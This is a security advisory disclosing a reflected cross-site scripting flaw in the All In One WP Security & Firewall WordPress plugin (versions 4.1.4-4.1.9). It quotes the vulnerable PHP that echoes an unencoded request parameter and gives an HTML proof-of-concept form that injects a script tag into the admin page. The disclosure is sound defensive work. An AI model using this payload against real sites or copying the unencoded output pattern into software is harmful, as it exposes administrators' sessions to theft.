WordPress All In One WP Security and Firewall plugin versions 4.1.4 through 4.1.9 suffer from a cross site scripting vulnerability.
529e84cd77541f83b0ed65669edd6479516fab6293f7fc579a4115aa74f2d889------------------------------------------------------------------------
Cross-Site Scripting in All In One WP Security & Firewall WordPress
Plugin
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Yorick Koster, July 2016
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Abstract
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A Cross-Site Scripting vulnerability was found in the All In One WP
Security & Firewall Plugin. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.
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OVE ID
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OVE-20160731-0003
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Tested versions
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These issues were successfully tested on the All In One WP Security &
Firewall WordPress Plugin version 4.1.4 - 4.1.9.
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Fix
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This issue has been addressed in All In One WP Security & Firewall
version 4.2.0.
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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_all_in_one_wp_security___firewall_wordpress_plugin.html
This issue exists in the file admin/wp-security-dashboard-menu.php and is caused due to the lack of output encoding on the tab request parameter.
<div class="inside">
<?php
//Fetch, prepare, sort, and filter our data...
$locked_ip_list->prepare_items();
//echo "put table of locked entries here";
?>
<form id="tables-filter" method="get"
onSubmit="return confirm('Are you sure you want to perform this bulk operation on the selected entries?');">
<!-- For plugins, we also need to ensure that the form posts back to our current page -->
<input type="hidden" name="page" value="<?php echo esc_attr($_REQUEST['page']); ?>"/>
<?php
if (isset($_REQUEST["tab"])) {
echo '<input type="hidden" name="tab" value="' . $_REQUEST["tab"] . '" />';
}
?>
<!-- Now we can render the completed list table -->
<?php $locked_ip_list->display(); ?>
</form>
</div>
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=aiowpsec&tab=tab3" method="POST">
<input type="hidden" name="tab" value=""><script>alert(1)</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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